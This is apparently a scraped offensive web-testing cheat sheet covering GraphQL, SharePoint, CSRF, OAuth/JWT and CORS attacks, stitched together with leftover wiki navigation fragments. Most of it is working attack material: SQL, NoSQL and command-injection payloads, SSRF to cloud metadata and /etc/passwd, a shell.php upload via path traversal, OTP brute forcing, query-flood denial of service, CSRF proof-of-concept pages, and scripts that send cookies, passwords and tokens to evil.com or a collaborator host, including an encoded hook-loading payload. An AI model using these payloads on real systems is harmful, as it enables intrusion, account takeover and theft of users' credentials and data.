    curl "https://target.com/graphql?query=\{__schema\{types\{name\}\}\}"
    
    # Add X-Requested-With header
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -H "X-Requested-With: XMLHttpRequest" \
      -d '{"query":"{ __schema { types { name } } }"}'
    
    # Use __type instead of __schema
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ __type(name: \"User\") { fields { name } } }"}'
    
    # Field suggestions (if introspection disabled but suggestions enabled)
    # Send invalid query and check error message for field suggestions
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ user { asdfasdf } }"}'
    # Response: Did you mean "id", "name", "email"?
    
    # Clairvoyance - Recover schema without introspection
    # https://github.com/nikitastupin/clairvoyance
    python -m clairvoyance -o schema.json https://target.com/graphql
    # IDOR - Access other users' data
    query {
      user(id: "1") {
        id
        email
        password
        creditCard
      }
    }
    
    # Test with different IDs
    query {
      user(id: "2") { ... }
    }
    
    # Access admin-only fields
    query {
      user(id: "1") {
        id
        email
        isAdmin
        role
        permissions
      }
    }
    
    # Access nested objects
    query {
      user(id: "1") {
        orders {
          id
          total
          paymentDetails {
            cardNumber
          }
        }
      }
    }
    # Basic SQLi in arguments
    query {
      user(name: "admin' OR '1'='1") {
        id
        email
      }
    }
    
    # Union-based
    query {
      user(name: "' UNION SELECT username, password FROM users--") {
        name
        email
      }
    }
    
    # In filter arguments
    query {
      users(filter: { name_contains: "' OR 1=1--" }) {
        id
        name
      }
    }
    
    # In order by
    query {
      users(orderBy: "name; DROP TABLE users--") {
        id
      }
    }
    # MongoDB injection
    query {
      user(name: "{\"$gt\": \"\"}") {
        id
        email
      }
    }
    
    # Regex injection
    query {
      users(filter: { name_regex: ".*" }) {
        id
        email
        password
      }
    }
    # If backend executes shell commands
    mutation {
      exportData(format: "csv; cat /etc/passwd") {
        url
      }
    }
    
    mutation {
      generateReport(type: "pdf`whoami`") {
        status
      }
    }
    # Array-based batching
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '[
        {"query":"mutation { login(user:\"admin\", pass:\"password1\") { token } }"},
        {"query":"mutation { login(user:\"admin\", pass:\"password2\") { token } }"},
        {"query":"mutation { login(user:\"admin\", pass:\"password3\") { token } }"}
      ]'
    
    # Alias-based batching (single request, multiple operations)
    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"mutation { 
        a1: login(user:\"admin\", pass:\"password1\") { token }
        a2: login(user:\"admin\", pass:\"password2\") { token }
        a3: login(user:\"admin\", pass:\"password3\") { token }
      }"}'
    # Brute force OTP in single request
    mutation {
      v0: verifyOTP(code: "000000") { success }
      v1: verifyOTP(code: "000001") { success }
      v2: verifyOTP(code: "000002") { success }
      # ... continue to 999999
    }
    # If user has friends that are also users
    query {
      user(id: "1") {
        friends {
          friends {
            friends {
              friends {
                friends {
                  friends {
                    # Nest deeper...
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
    query {
      users {
        name name name name name name name name name name
        email email email email email email email email email email
        # Repeat many times
      }
    }
    # Send thousands of queries in array
    # Generate with script
    python3 -c "import json; print(json.dumps([{'query':'{ users { name } }'}]*10000))" | \
      curl -X POST https://target.com/graphql \
        -H "Content-Type: application/json" \
        -d @-
    query {
      users @skip(if: false) @skip(if: false) @skip(if: false) @skip(if: false) {
        name
      }
    }
    # If there's a URL fetch field
    mutation {
      importUrl(url: "http://169.254.169.254/latest/meta-data/") {
        content
      }
    }
    
    # File:// protocol
    mutation {
      importUrl(url: "file:///etc/passwd") {
        content
      }
    }
    
    # Internal services
    mutation {
      webhook(url: "http://internal-service:8080/admin") {
        status
      }
    }
    # GraphQL multipart request
    curl -X POST https://target.com/graphql \
      -H "Content-Type: multipart/form-data" \
      -F 'operations={"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
      -F 'map={"0":["variables.file"]}' \
      -F '[email protected]'
    
    # Test path traversal in filename
    -F '[email protected];filename=../../../var/www/html/shell.php'
    // Connect to subscription endpoint
    const ws = new WebSocket('wss://target.com/graphql', 'graphql-ws');
    
    ws.onopen = () => {
      // Initialize connection
      ws.send(JSON.stringify({
        type: 'connection_init',
        payload: {}
      }));
      
      // Subscribe to sensitive events
      ws.send(JSON.stringify({
        id: '1',
        type: 'start',
        payload: {
          query: `subscription {
            onUserCreated {
              id
              email
              password
            }
          }`
        }
      }));
    };
    
    ws.onmessage = (event) => {
      console.log(JSON.parse(event.data));
    };
    # BatchQL - Batched query security testing
    # https://github.com/assetnote/batchql
    python batchql.py -e https://target.com/graphql
    
    # CrackQL - Brute force via batching
    # https://github.com/nicholasaleks/CrackQL
    python CrackQL.py -t https://target.com/graphql \
      -q "mutation { login(email: \"VARIABLE\", password: \"PASSWORD\") { token } }" \
      -i usernames.txt
    
    # graphql-path-enum - Find paths to sensitive types
    # https://gitlab.com/dee-see/graphql-path-enum
    graphql-path-enum -i schema.json -t PrivateData
    # InQL Scanner extension
    # 1. Install from BApp Store
    # 2. Send GraphQL request to InQL Scanner
    # 3. Analyze schema and generate queries
    # 4. Test mutations and subscriptions
    
    # GraphQL Raider extension
    # Automatic query modification and testing
    # Alias-based batching bypasses per-query rate limits
    mutation {
      q1: resetPassword(email: "[email protected]")
      q2: resetPassword(email: "[email protected]")
      q3: resetPassword(email: "[email protected]")
    }
    
    # Different operation names
    mutation op1 { resetPassword(email: "[email protected]") }
    mutation op2 { resetPassword(email: "[email protected]") }
    # Change Content-Type
    Content-Type: application/graphql
    Content-Type: text/plain
    
    # Use GET with query parameter
    GET /graphql?query={users{name}}
    
    # URL encode
    GET /graphql?query=%7Busers%7Bname%7D%7D
    
    # Add spaces/newlines
    {"query":"{\n  users\n  {\n    name\n  }\n}"}
    
    # Use fragments
    query { 
      ...UserFields 
    }
    fragment UserFields on Query {
      users { name }
    }
    ## Reconnaissance
    - [ ] Find GraphQL endpoint
    - [ ] Test introspection
    - [ ] Fingerprint GraphQL implementation
    - [ ] Map schema (queries, mutations, subscriptions)
    
    ## Authentication/Authorization
    - [ ] Test IDOR on object access
    - [ ] Test field-level authorization
    - [ ] Test mutation authorization
    - [ ] Check for sensitive data exposure
    
    ## Injection
    - [ ] SQL injection in arguments
    - [ ] NoSQL injection
    - [ ] Command injection
    - [ ] SSRF via URL fields
    
    ## DoS
    - [ ] Test circular queries
    - [ ] Test field duplication
    - [ ] Test batch query limits
    - [ ] Test query depth limits
    
    ## Other
    - [ ] Batching for brute force
    - [ ] File upload attacks
    - [ ] Subscription hijacking
    - [ ] Rate limiting bypass
    # Get all site users (if accessible)
    curl "https://sharepoint.target.com/_api/web/siteusers" \
      -H "Accept: application/json;odata=verbose"
    
    # Get specific user info
    curl "https://sharepoint.target.com/_api/web/siteusers(@v)?@v='i:0%23.f|membership|[email protected]'" \
      -H "Accept: application/json"
    
    # Current user
    curl "https://sharepoint.target.com/_api/web/currentuser" \
      -H "Accept: application/json"
    # Get all lists
    curl "https://sharepoint.target.com/_api/web/lists" \
      -H "Accept: application/json"
    
    # Get items from a list
    curl "https://sharepoint.target.com/_api/web/lists/getbytitle('Documents')/items" \
      -H "Accept: application/json"
    
    # Get list by GUID
    curl "https://sharepoint.target.com/_api/web/lists(guid'LIST-GUID-HERE')/items"
    # Anonymous access to site data
    curl "https://sharepoint.target.com/_api/web" -H "Accept: application/json"
    
    # List all subsites
    curl "https://sharepoint.target.com/_api/web/webs" -H "Accept: application/json"
    
    # Search API (often exposed)
    curl "https://sharepoint.target.com/_api/search/query?querytext='password'" \
      -H "Accept: application/json"
    # Check permissions
    curl "https://sharepoint.target.com/_api/web/effectivebasepermissions" \
      -H "Accept: application/json"
    
    # Check if anonymous access enabled
    curl "https://sharepoint.target.com/_api/web/AnonymousAccess"
    # Filter sensitive data
    /_api/web/lists/getbytitle('Users')/items?$filter=Title eq 'admin'
    
    # Select specific fields
    /_api/web/lists/getbytitle('Config')/items?$select=Password,ApiKey
    
    # Expand related data
    /_api/web/lists/getbytitle('Documents')/items?$expand=File
    # Affects SharePoint 2010, 2013, 2016, 2019
    # Deserialization vulnerability in EntityInstanceIdEncoder
    
    # Detection
    curl "https://sharepoint.target.com/_layouts/15/Picker.aspx"
    
    # Exploit requires crafted ASPX page upload
    # https://github.com/AhmedMohamedDev/CVE-2019-0604
    # .NET deserialization in SharePoint
    # Check for vulnerable endpoints accepting XML/SOAP
    # Affects SharePoint 2013, 2016, 2019
    # Remote code execution via malicious document
    
    # Detection - check version and patch level
    # JWT token bypass in SharePoint Server 2019
    # Allows authentication bypass
    
    # Check if patch KB5002402 installed
    # Download files
    curl "https://sharepoint.target.com/sites/documents/Shared%20Documents/sensitive.docx" -o file.docx
    
    # Access via API
    curl "https://sharepoint.target.com/_api/web/getfilebyserverrelativeurl('/sites/documents/file.docx')/$value" -o file.docx
    # Common sensitive locations
    /sites/IT/
    /sites/HR/
    /sites/Finance/
    /Shared Documents/
    /_catalogs/masterpage/
    /Style Library/
    # SharePoint often uses NTLM
    # Use responder/ntlmrelayx for relay attacks
    
    # Check for NTLM
    curl -v https://sharepoint.target.com 2>&1 | grep -i "WWW-Authenticate: NTLM"
    # SharePoint Online / ADFS
    # Get authentication cookie
    curl -X POST "https://login.microsoftonline.com/GetUserRealm.srf" \
      -d "[email protected]"
    # SharePoint enumeration
    # https://github.com/AhmedMohamedDev/SPartan
    python3 spartan.py -u https://sharepoint.target.com
    
    # https://github.com/AhmedMohamedDev/sharepwn
    python3 sharepwn.py -t https://sharepoint.target.com
    
    # Nuclei templates
    nuclei -t http/technologies/microsoft/sharepoint* -u https://sharepoint.target.com
    
    # Fuzz endpoints
    ffuf -w /usr/share/seclists/Discovery/Web-Content/sharepoint.txt \
      -u https://sharepoint.target.com/FUZZ
    3 conditions:
    • A relevant action.

    • Cookie-based session handling.

    • No unpredictable request parameters.

    How to find:

    • Remove CSRF token from requests and/or put a blank space.

    • Change POST to GET.

    • Replace the CSRF token with a random value (for example 1).

    • Replace the CSRF token with a random token of the same restraints.

    • Extract token with HTML injection.

    • Use a CSRF token that has been used before.

    • Bypass regex.

    • Remove referer header.

    • Request a CSRF by executing the call manually and use that token for the request.

    hashtag
    Approach

    hashtag
    Quick attacks

    hashtag
    Tools

    hashtag
    Example 1

    hashtag
    Example 2

    hashtag
    Json CSRF

    hashtag
    CSRF Token Bypass

    hashtag
    CSRF sample POC

    hashtag
    CSRF to reflected XSS

    hashtag
    Mindmaps

    Reconnaissance

    hashtag
    Endpoint Discovery

    hashtag
    Client Discovery

    hashtag
    Authorization Code Attacks

    hashtag
    Open Redirect via redirect_uri

    hashtag
    Authorization Code Interception

    hashtag
    Authorization Code Replay

    hashtag
    PKCE Attacks

    hashtag
    Missing PKCE Enforcement

    hashtag
    Weak Code Challenge

    hashtag
    Code Verifier Brute Force

    hashtag
    Token Attacks

    hashtag
    Access Token Leakage

    hashtag
    Token Theft via XSS

    hashtag
    Refresh Token Attacks

    hashtag
    State Parameter Attacks

    hashtag
    CSRF via Missing State

    hashtag
    State Fixation

    hashtag
    State Injection

    hashtag
    Scope Manipulation

    hashtag
    Scope Upgrade

    hashtag
    Scope Downgrade Attack

    hashtag
    JWT Token Attacks

    hashtag
    Algorithm Confusion

    hashtag
    Key Injection (jwk/jku)

    hashtag
    JWT Claims Manipulation

    hashtag
    Client Credential Attacks

    hashtag
    Client Secret Exposure

    hashtag
    Client Authentication Bypass

    hashtag
    Social Login Attacks

    hashtag
    Account Takeover via OAuth

    hashtag
    Pre-Account Takeover

    hashtag
    Tools

    hashtag
    OAuth Testing Tools

    hashtag
    OAuth 2.1 Changes

    hashtag
    Checklist

    hashtag
    Related Topics

    • OIDC - OpenID Connect testing

    • JWT - JSON Web Token attacks

    • CSRF - Cross-site request forgery

    • - URL redirection

    Exploiting PDF generators: A complete guide to finding SSRF vulnerabilities in PDF generatorsIntigritichevron-right
    SQL injection cheat sheet | Web Security AcademyWebSecAcademychevron-right
    - Removing the token parameter entirely
    - Setting the token to a blank string
    - Changing the token to an invalid token of the same format
    - Using a different user's token
    - Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
    - Testing every sensitive endpoint
    - Check whether the token might be guessed / cracked
    - Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
    - Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
    # HTML GET
    <a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
    
    # HTML GET (no interaction)
    <img src=”http://vulnerable/endpoint?parameter=CSRFd">
    
    # HTML POST:
    <form action="http://vulnerable/endpoint" method="POST">
    <input name="parameter" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>
    
    # HTML POST (no interaction)
    <form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
    <input name="parameter" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>
    <script>
    document.getElementById("autosubmit").submit();
    </script>
    
    # JSON GET:
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://vulnerable/endpoint");
    xhr.send();
    </script>
    
    # JSON POST
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://vulnerable/endpoint");
    xhr.setRequestHeader("Content-Type", "text/plain");
    xhr.send('{"role":admin}');
    </script>
    # https://github.com/0xInfection/XSRFProbe
    xsrfprobe --help
    
    https://csrfshark.github.io/
    Vulnerable request example:
    __
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
    
    [email protected]
    __
    
    HTML with attack:
    __
    <html>
      <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
          <input type="hidden" name="email" value="[email protected]" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>
    __
    # Exploit CSRF in GET:
    <img src="https://vulnerable-website.com/email/[email protected]">
    
    - SameSite cookie property avoid the attack:
       → Only from same site:
        SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict; 
       → From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):    
        SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax; 
    
    <script>
    fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
    method: 'POST',
    mode: 'no-cors',
    body:document.cookie
    });
    </script>
    
    <input name=username id=username>
    <input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
    method:'POST',
    mode: 'no-cors',
    body:username.value+':'+this.value
    });">
    Requirements:
    
    1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
    2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
    3. The HTTP request should not be fortify by the Same Origin Policy.
    
    Bypass 2 & 3:
    • Change the request method to GET append the body as query parameter.
    • Test the request without the Customized Token (X-Auth-Token) and also header.
    • Test the request with exact same length but different token.
    
    If post is not allowed, can try with URL/param?_method=PUT
    
    
    <body onload='document.forms[0].submit()'>
    <form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
      <input type="text" name='{"username":"blob","dummy":"' value='"}'>
      <input type="submit" value="send">
    </form>
    
    <!---This results in a request body of:
    {"username":"blob", "dummy": "="} -->
    CSRF Tokens
    
    Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
       → Is transmited to the client through a hidden field:
    
    
    - Example:
        __
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
    
        csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
        __
    
    - Validation depends on method (usually POST):
        __
        GET /email/[email protected] HTTP/1.1
        Host: vulnerable-website.com
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
        __
    
    - Validation depend on token is present (if not, validation is skipped):
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 25
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
    
        [email protected]
        --
    - CSRF not tied to user session
    
    - CSRF tied to a non-session cookie:
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
    
        csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
        --
    
    - CSRF token duplicated in cookie:
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
    
        csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
        --
    
    - Validation of referer depends on header present (if not, validation is skipped)
    
    - Circumvent referer validation (if only checks the domain existence)
    
    - Remove Anti-CSRF Token
    - Spoof Anti-CSRF Token by Changing a few bits
    - Using Same Anti-CSRF Token
    - Weak Cryptography to generate Anti-CSRF Token
    - Guessable Anti-CSRF Token
    - Stealing Token with other attacks such as XSS.
    - Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)
    
    Other validations bypasses:
    1) remove anticsrf tokens & parameter
    2) pass blank paramter
    3) add same length token
    4) add another userss valid anti csrf token
    5) random token in long length (aaaaaaaaa) 
    6) Try decode token
    7) Use only static part of the token
    <html>
    <script>
    function jsonreq() {
      var xmlhttp = new XMLHttpRequest();
      xmlhttp.open("POST","https://target.com/api/endpoint", true);
      xmlhttp.setRequestHeader("Content-Type","text/plain");
      //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
      xmlhttp.withCredentials = true;
      xmlhttp.send(JSON.stringify({"test":"x"}));
    }
    jsonreq();
    </script>
    </html>
    <html>
      <body>
        <p>Please wait... ;)</p>
        <script>
    let host = 'http://target.com'
    let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
    let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
    
    function submitRequest() {
      var req = new XMLHttpRequest();
      req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
      req.setRequestHeader("Accept", "*\/*");
      req.withCredentials = true;
      req.onreadystatechange = function () {
        if (req.readyState === 4) {
          executeXSS();
        }
      }
      req.send();
    }
    
    function executeXSS() {
      window.location.assign(host+'<URI with XSS>'+alert_payload);
    }
    
    submitRequest();
        </script>
      </body>
    </html>
    Authorization Code Flow (with PKCE):
    1. Client generates code_verifier and code_challenge
    2. Client redirects user to /authorize with code_challenge
    3. User authenticates, server returns authorization_code
    4. Client exchanges code + code_verifier for tokens at /token
    5. Server validates code_verifier matches code_challenge
    6. Server returns access_token (and optionally refresh_token)
    # Common OAuth endpoints
    /.well-known/openid-configuration
    /.well-known/oauth-authorization-server
    /oauth/authorize
    /oauth/token
    /oauth2/authorize
    /oauth2/token
    /authorize
    /token
    /auth
    /login/oauth/authorize
    
    # Fetch OpenID configuration
    curl https://target.com/.well-known/openid-configuration | jq
    
    # Extract endpoints
    curl -s https://target.com/.well-known/openid-configuration | jq '{
      authorization: .authorization_endpoint,
      token: .token_endpoint,
      userinfo: .userinfo_endpoint,
      jwks: .jwks_uri,
      introspection: .introspection_endpoint,
      revocation: .revocation_endpoint
    }'
    # Find registered OAuth clients
    # Check JavaScript files for client_id
    grep -r "client_id" static/js/
    
    # Common client IDs in URLs
    ?client_id=web
    ?client_id=mobile
    ?client_id=api
    ?client_id=public
    
    # Check mobile apps for OAuth config
    apktool d app.apk
    grep -r "client_id\|client_secret\|oauth" .
    # Basic redirect manipulation
    https://oauth.target.com/authorize?
      client_id=CLIENT_ID&
      redirect_uri=https://evil.com&
      response_type=code&
      scope=openid
    
    # Subdomain takeover
    redirect_uri=https://abandoned.target.com
    
    # Path traversal
    redirect_uri=https://target.com/../../../evil.com
    redirect_uri=https://target.com/callback/../../../evil.com
    
    # URL encoding bypass
    redirect_uri=https://target.com%2f%2e%2e%[email protected]
    redirect_uri=https://target.com%[email protected]
    
    # Parameter pollution
    redirect_uri=https://target.com&redirect_uri=https://evil.com
    ?redirect_uri=https://target.com?next=https://evil.com
    
    # Fragment injection
    redirect_uri=https://target.com/callback#@evil.com
    
    # Different protocol
    redirect_uri=http://target.com (downgrade from https)
    redirect_uri=javascript:alert(1)
    
    # IPv6
    redirect_uri=https://[::1]:8080/callback
    
    # Localhost variations
    redirect_uri=https://127.0.0.1/callback
    redirect_uri=https://localhost.target.com/callback
    # If redirect_uri validation is weak, intercept code
    # 1. Get victim to click malicious link
    # 2. Code sent to attacker's redirect_uri
    # 3. Attacker exchanges code for tokens
    
    # Exploit via open redirect on target
    https://oauth.target.com/authorize?
      client_id=CLIENT_ID&
      redirect_uri=https://target.com/redirect?url=https://evil.com&
      response_type=code
    # Try reusing authorization code
    # Most servers invalidate after first use
    
    # Race condition - use code twice simultaneously
    for i in {1..100}; do
      curl -X POST https://oauth.target.com/token \
        -d "grant_type=authorization_code&code=AUTH_CODE&client_id=ID" &
    done
    # Try authorization without code_challenge (on public clients)
    # If server accepts, PKCE is optional - vulnerable
    
    https://oauth.target.com/authorize?
      client_id=PUBLIC_CLIENT&
      redirect_uri=https://target.com/callback&
      response_type=code&
      scope=openid
      # Missing: code_challenge, code_challenge_method
    
    # Then exchange without code_verifier
    curl -X POST https://oauth.target.com/token \
      -d "grant_type=authorization_code" \
      -d "code=AUTH_CODE" \
      -d "client_id=PUBLIC_CLIENT" \
      -d "redirect_uri=https://target.com/callback"
      # Missing: code_verifier
    # If server accepts "plain" method
    code_challenge_method=plain
    code_challenge=my_verifier
    # Then code_verifier = code_challenge (no hashing)
    
    # Check if plain method is accepted
    https://oauth.target.com/authorize?
      code_challenge=test&
      code_challenge_method=plain&
      ...
    # If code_challenge/verifier are weak/predictable
    # PKCE spec: 43-128 characters, [A-Za-z0-9-._~]
    
    # Generate valid code_challenge from verifier
    echo -n "my_code_verifier" | sha256sum | cut -d' ' -f1 | xxd -r -p | base64 -w0 | tr '+/' '-_' | tr -d '='
    # Token in URL fragment (Implicit flow - deprecated)
    https://target.com/callback#access_token=TOKEN&token_type=bearer
    
    # Token in Referer header
    # If callback page has external resources, token leaks
    
    # Token in browser history
    # Implicit flow tokens persist in URL
    
    # Token in logs
    # Check server logs, CDN logs, proxy logs
    // Steal tokens from localStorage/sessionStorage
    fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
    
    // Intercept OAuth callback
    if (window.location.hash.includes('access_token')) {
      fetch('https://evil.com/steal' + window.location.hash);
    }
    
    // Hook postMessage (if used for token delivery)
    window.addEventListener('message', function(e) {
      fetch('https://evil.com/steal?data=' + JSON.stringify(e.data));
    });
    # Refresh token rotation not implemented
    # Old refresh tokens still valid after rotation
    
    # Test refresh token reuse
    curl -X POST https://oauth.target.com/token \
      -d "grant_type=refresh_token" \
      -d "refresh_token=OLD_REFRESH_TOKEN" \
      -d "client_id=CLIENT_ID"
    
    # Refresh token doesn't expire
    # Check if refresh tokens work months later
    
    # Refresh token scope escalation
    curl -X POST https://oauth.target.com/token \
      -d "grant_type=refresh_token" \
      -d "refresh_token=REFRESH_TOKEN" \
      -d "scope=admin openid profile email"
    <!-- If state parameter is not required -->
    <img src="https://oauth.target.com/authorize?
      client_id=CLIENT_ID&
      redirect_uri=https://target.com/callback&
      response_type=code&
      scope=openid">
    
    <!-- Victim's browser makes OAuth request, attacker intercepts code -->
    # If state is predictable or reusable
    # Attacker generates authorization URL with known state
    # Victim clicks, attacker knows state value
    # Attacker can complete OAuth flow
    
    # Test state reuse
    # 1. Start OAuth flow, get state value
    # 2. Complete flow
    # 3. Try using same state again
    # If state is reflected without encoding
    state="><script>alert(1)</script>
    state=test&injected_param=value
    # Request more scopes than authorized
    https://oauth.target.com/authorize?
      client_id=CLIENT_ID&
      redirect_uri=https://target.com/callback&
      response_type=code&
      scope=openid+admin+user:delete
    
    # Try during token refresh
    curl -X POST https://oauth.target.com/token \
      -d "grant_type=refresh_token" \
      -d "refresh_token=TOKEN" \
      -d "scope=openid admin"
    # Remove important scopes to bypass consent
    # If app expects "email" scope but attacker removes it
    # App might not handle missing claims properly
    scope=openid  # Missing expected "email" scope
    # Change RS256 to HS256
    # Use public key as HMAC secret
    
    # Original token header: {"alg":"RS256","typ":"JWT"}
    # Modified: {"alg":"HS256","typ":"JWT"}
    
    # Sign with RSA public key as HMAC secret
    # https://github.com/ticarpi/jwt_tool
    python jwt_tool.py TOKEN -X k -pk public.pem
    
    # Set algorithm to none
    python jwt_tool.py TOKEN -X a
    # Inject attacker's JWK
    # https://github.com/ticarpi/jwt_tool
    python jwt_tool.py TOKEN -X i
    
    # Use attacker's JWKS endpoint
    python jwt_tool.py TOKEN -X s -ju https://evil.com/.well-known/jwks.json
    # Modify claims without re-signing (if signature not verified)
    # Decode token
    echo "eyJ..." | base64 -d
    
    # Modify payload
    {
      "sub": "admin",
      "scope": "openid admin",
      "exp": 9999999999
    }
    
    # Common claims to test:
    # - sub: user identifier
    # - aud: audience
    # - iss: issuer
    # - exp: expiration
    # - scope: permissions
    # - role: user role
    # Search for secrets in:
    - Mobile app binaries
    - JavaScript source
    - Git repositories
    - Environment variables in CI/CD
    - Docker images
    - Public S3 buckets
    
    # GitHub search
    org:target "client_secret"
    org:target "oauth" "secret"
    
    # If found, impersonate the client
    curl -X POST https://oauth.target.com/token \
      -u "client_id:client_secret" \
      -d "grant_type=client_credentials"
    # Try without client_secret
    curl -X POST https://oauth.target.com/token \
      -d "grant_type=authorization_code" \
      -d "code=AUTH_CODE" \
      -d "client_id=CLIENT_ID"
      # No client_secret
    
    # Try in different locations
    # POST body vs Authorization header
    Authorization: Basic base64(client_id:)
    # 1. Create account with [email protected] on target
    # 2. Link social login (Google) with [email protected]
    # 3. Victim has Google account with [email protected]
    # 4. Target app links accounts by email
    # 5. Attacker can login as victim via Google
    
    # Test email verification bypass
    # Register with victim's email without verification
    # Then link OAuth provider
    # 1. Attacker creates account with victim's email (unverified)
    # 2. Victim signs up with OAuth (same email)
    # 3. Accounts get linked
    # 4. Attacker already has password for the account
    # BurpSuite OAuth Scanner extension
    
    # OAuthTester
    # https://github.com/AresS31/OAuthTester
    
    # jwt_tool - JWT manipulation
    # https://github.com/ticarpi/jwt_tool
    python jwt_tool.py -t https://target.com/oauth -rc cookies.txt
    
    # oauth2c - OAuth 2.0 CLI
    # https://github.com/cloudentity/oauth2c
    
    # Keycloak (for testing server behavior)
    docker run -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:latest start-dev
    # OAuth 2.1 deprecates:
    - Implicit grant (response_type=token)
    - Resource Owner Password Credentials grant
    - Bearer tokens in query strings
    
    # OAuth 2.1 requires:
    - PKCE for all authorization code grants
    - Exact redirect_uri matching
    - Refresh token rotation
    
    # Test if server enforces OAuth 2.1
    # Try deprecated flows - they should fail
    ## Reconnaissance
    - [ ] Discover OAuth endpoints
    - [ ] Find registered clients
    - [ ] Check OpenID configuration
    - [ ] Identify grant types supported
    
    ## redirect_uri Attacks
    - [ ] Open redirect
    - [ ] Subdomain takeover
    - [ ] Path traversal
    - [ ] Parameter pollution
    
    ## Authorization Code
    - [ ] Code interception
    - [ ] Code replay
    - [ ] Race conditions
    
    ## PKCE
    - [ ] Missing PKCE enforcement
    - [ ] Weak code_challenge
    - [ ] plain method accepted
    
    ## Tokens
    - [ ] Token leakage
    - [ ] JWT attacks
    - [ ] Refresh token reuse
    - [ ] Scope escalation
    
    ## State
    - [ ] Missing state (CSRF)
    - [ ] State fixation
    - [ ] Predictable state
    
    ## Client Security
    - [ ] Exposed client_secret
    - [ ] Client auth bypass
    - [ ] Public client abuse
    Open Redirectarrow-up-right
    Logo
    Logo
    Logo

    CORS

    hashtag
    Tools

    URL accessed

    Access permitted?

    http://normal-website.com/example/

    circle-info

    In any site disclosing users & passwords (or other sensitive info), try CORS.

    hashtag
    CORS PoC

    hashtag
    CORS PoC 2

    hashtag
    CORS PoC 3 - Sensitive Data Leakage

    hashtag
    CORS JSON PoC

    APIs

    hashtag
    Tools

    hashtag
    General

    hashtag
    REST

    hashtag
    GraphQL

    hashtag
    Tools

    hashtag
    Resources

    hashtag
    Common bugs

    hashtag
    Tips

    NetSPI SQL Injection Wikinetspichevron-right
    Logo
    # https://github.com/s0md3v/Corsy
    python3 corsy.py -u https://example.com
